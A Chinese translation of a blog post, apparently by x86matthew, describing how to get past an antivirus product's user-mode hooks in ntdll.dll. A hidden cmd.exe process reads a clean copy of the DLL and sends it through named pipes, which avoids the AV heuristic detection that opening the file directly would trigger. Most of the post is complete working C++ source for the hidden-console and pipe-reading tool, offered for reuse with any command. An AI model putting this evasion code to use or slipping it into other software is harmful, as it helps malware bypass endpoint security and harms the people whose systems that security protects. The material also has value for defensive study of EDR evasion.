原文链接:https://www.x86matthew.com/view_post?id=ntdll_pipe
我最近使用了一台安装了 AV 软件的计算机,该软件将用户模式挂钩注入到ntdll.dll中的各种函数中。我不了解现代 AV 软件的运行方式,所以我决定看看这是多么容易克服。
最明显的方法是使用CreateFile和ReadFile从磁盘读取ntdll.dll,但这会触发 AV 启发式引擎。 我的下一个想法是使用受信任的 Microsoft 可执行文件为我完成这项工作 – 一个候选者是cmd.exe。 我使用CreateProcess创建了一个隐藏的带有stdin的cmd.exe进程
重定向到我的程序中的自定义命名管道。我还为ntdll.dll输出内容创建了一个单独的命名管道。使用WriteFile将类型 %windir%\\system32\\ntdll.dll > \\.\pipe\ntdll_output_pipe发送到自定义标准输入管道,然后将ntdll.dll的内容写入我的输出管道,我读取并存储在缓冲区中. 这种简单的方法没有触发任何 AV 警告。
这可以通过删除标准输入重定向并使用初始参数中的 type 命令启动 cmd.exe 来稍微简化( cmd.exe / c type % windir%\\system32\\ntdll.dll > \\.\pipe\ntdll_output_pipe),但这看起来更可疑。
我已经清理了代码,以便可以轻松地使用它来读取任何命令的输出内容。
完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 |
// NtdllPipe.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <stdio.h> #include <windows.h> struct BackgroundConsoleInstanceStruct { char szInstanceName[128]; HANDLE hConsoleProcess; HANDLE hConsoleInputPipe; }; struct CommandOutput_StoreDataParamStruct { BYTE* pOutputPtr; DWORD dwMaxOutputSize; DWORD dwTotalSize; }; DWORD BackgroundConsole_Create(const char* pInstanceName, BackgroundConsoleInstanceStruct* pBackgroundConsoleInstance) { PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; char szConsoleInputPipeName[512]; char szLaunchCmd[1024]; BackgroundConsoleInstanceStruct BackgroundConsoleInstance; HANDLE hConsoleInputPipe; // create console input pipe memset(szConsoleInputPipeName, 0, sizeof(szConsoleInputPipeName)); _snprintf(szConsoleInputPipeName, sizeof(szConsoleInputPipeName) - 1, "\\\\.\\pipe\\BackgroundConsoleIn_%s", pInstanceName); hConsoleInputPipe = CreateNamedPipe(szConsoleInputPipeName, PIPE_ACCESS_OUTBOUND, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, 1, 4096, 4096, 0, NULL); if (hConsoleInputPipe == INVALID_HANDLE_VALUE) { // error return 1; } // initialise startupinfo memset(&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = sizeof(StartupInfo); StartupInfo.dwFlags = STARTF_USESHOWWINDOW; StartupInfo.wShowWindow = SW_HIDE; // create launch cmd memset(szLaunchCmd, 0, sizeof(szLaunchCmd)); _snprintf(szLaunchCmd, sizeof(szLaunchCmd) - 1, "cmd /c cmd < %s", szConsoleInputPipeName); // launch cmd.exe if (CreateProcess(NULL, szLaunchCmd, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInfo) == 0) { // error CloseHandle(hConsoleInputPipe); return 1; } // close thread handle CloseHandle(ProcessInfo.hThread); // wait for cmd.exe to connect to input pipe if (ConnectNamedPipe(hConsoleInputPipe, NULL) == 0) { // error CloseHandle(hConsoleInputPipe); CloseHandle(ProcessInfo.hProcess); return 1; } // store background console entry data memset((void*)&BackgroundConsoleInstance, 0, sizeof(BackgroundConsoleInstance)); strncpy(BackgroundConsoleInstance.szInstanceName, pInstanceName, sizeof(BackgroundConsoleInstance.szInstanceName) - 1); BackgroundConsoleInstance.hConsoleProcess = ProcessInfo.hProcess; BackgroundConsoleInstance.hConsoleInputPipe = hConsoleInputPipe; memcpy((void*)pBackgroundConsoleInstance, (void*)&BackgroundConsoleInstance, sizeof(BackgroundConsoleInstance)); return 0; } DWORD BackgroundConsole_Close(BackgroundConsoleInstanceStruct* pBackgroundConsoleInstance) { // close console input pipe CloseHandle(pBackgroundConsoleInstance->hConsoleInputPipe); // wait for console process to end WaitForSingleObject(pBackgroundConsoleInstance->hConsoleProcess, INFINITE); CloseHandle(pBackgroundConsoleInstance->hConsoleProcess); return 0; } DWORD BackgroundConsole_Exec(BackgroundConsoleInstanceStruct* pBackgroundConsoleInstance, const char* pCommand, DWORD(*pCommandOutput)(BYTE* pBufferData, DWORD dwBufferLength, BYTE* pParam), BYTE* pCommandOutputParam) { char szWriteCommand[2048]; char szCommandOutputPipeName[512]; HANDLE hCommandOutputPipe = NULL; BYTE bReadBuffer[1024]; DWORD dwBytesRead = 0; // create output pipe memset(szCommandOutputPipeName, 0, sizeof(szCommandOutputPipeName)); _snprintf(szCommandOutputPipeName, sizeof(szCommandOutputPipeName) - 1, "\\\\.\\pipe\\BackgroundConsoleOut_%s", pBackgroundConsoleInstance->szInstanceName); hCommandOutputPipe = CreateNamedPipe(szCommandOutputPipeName, PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, 1, 4096, 4096, 0, NULL); if (hCommandOutputPipe == INVALID_HANDLE_VALUE) { // error return 1; } // write command to console memset(szWriteCommand, 0, sizeof(szWriteCommand)); _snprintf(szWriteCommand, sizeof(szWriteCommand) - 1, "%s > %s\n", pCommand, szCommandOutputPipeName); if (WriteFile(pBackgroundConsoleInstance->hConsoleInputPipe, szWriteCommand, strlen(szWriteCommand), NULL, NULL) == 0) { // error CloseHandle(hCommandOutputPipe); return 1; } // wait for target to connect to output pipe if (ConnectNamedPipe(hCommandOutputPipe, NULL) == 0) { // error CloseHandle(hCommandOutputPipe); return 1; } // get data from output pipe for (;;) { // read data from stdout pipe (ensure the buffer is null terminated in case this is string data) memset(bReadBuffer, 0, sizeof(bReadBuffer)); if (ReadFile(hCommandOutputPipe, bReadBuffer, sizeof(bReadBuffer) - 1, &dwBytesRead, NULL) == 0) { // failed - check error code if (GetLastError() == ERROR_BROKEN_PIPE) { // pipe closed break; } else { // error CloseHandle(hCommandOutputPipe); return 1; } } // send current buffer to output function if (pCommandOutput(bReadBuffer, dwBytesRead, pCommandOutputParam) != 0) { // error CloseHandle(hCommandOutputPipe); return 1; } } // close handle CloseHandle(hCommandOutputPipe); return 0; } DWORD CommandOutput_StoreData(BYTE* pBufferData, DWORD dwBufferLength, BYTE* pParam) { CommandOutput_StoreDataParamStruct* pCommandOutput_StoreDataParam = NULL; // get param pCommandOutput_StoreDataParam = (CommandOutput_StoreDataParamStruct*)pParam; // check if an output buffer was specified if (pCommandOutput_StoreDataParam->pOutputPtr != NULL) { // validate length if (dwBufferLength > (pCommandOutput_StoreDataParam->dwMaxOutputSize - pCommandOutput_StoreDataParam->dwTotalSize)) { return 1; } // copy data memcpy((void*)(pCommandOutput_StoreDataParam->pOutputPtr + pCommandOutput_StoreDataParam->dwTotalSize), pBufferData, dwBufferLength); } // increase output size pCommandOutput_StoreDataParam->dwTotalSize += dwBufferLength; return 0; } // www.x86matthew.com int main() { BackgroundConsoleInstanceStruct BackgroundConsoleInstance; CommandOutput_StoreDataParamStruct CommandOutput_StoreDataParam; BYTE* pNtdllCopy = NULL; DWORD dwAllocSize = 0; printf("Creating hidden cmd.exe process...\n"); // create background console if (BackgroundConsole_Create("mytest", &BackgroundConsoleInstance) != 0) { return 1; } printf("Retrieving ntdll file size...\n"); // call the function with a blank output buffer to retrieve the file size memset((void*)&CommandOutput_StoreDataParam, 0, sizeof(CommandOutput_StoreDataParam)); CommandOutput_StoreDataParam.pOutputPtr = NULL; CommandOutput_StoreDataParam.dwMaxOutputSize = 0; CommandOutput_StoreDataParam.dwTotalSize = 0; if (BackgroundConsole_Exec(&BackgroundConsoleInstance, "type %windir%\\system32\\ntdll.dll", CommandOutput_StoreData, (BYTE*)&CommandOutput_StoreDataParam) != 0) { return 1; } printf("ntdll.dll file size: %u bytes - allocating memory...\n", CommandOutput_StoreDataParam.dwTotalSize); // allocate memory dwAllocSize = CommandOutput_StoreDataParam.dwTotalSize; pNtdllCopy = (BYTE*)malloc(dwAllocSize); if (pNtdllCopy == NULL) { return 1; } printf("Reading ntdll.dll data from disk...\n"); // call the function again to read the file contents memset((void*)&CommandOutput_StoreDataParam, 0, sizeof(CommandOutput_StoreDataParam)); CommandOutput_StoreDataParam.pOutputPtr = pNtdllCopy; CommandOutput_StoreDataParam.dwMaxOutputSize = dwAllocSize; CommandOutput_StoreDataParam.dwTotalSize = 0; if (BackgroundConsole_Exec(&BackgroundConsoleInstance, "type %windir%\\system32\\ntdll.dll", CommandOutput_StoreData, (BYTE*)&CommandOutput_StoreDataParam) != 0) { return 1; } printf("Read %u bytes successfully\n", CommandOutput_StoreDataParam.dwTotalSize); // (pNtdllCopy now contains a copy of ntdll) // clean up free(pNtdllCopy); BackgroundConsole_Close(&BackgroundConsoleInstance); return 0; } |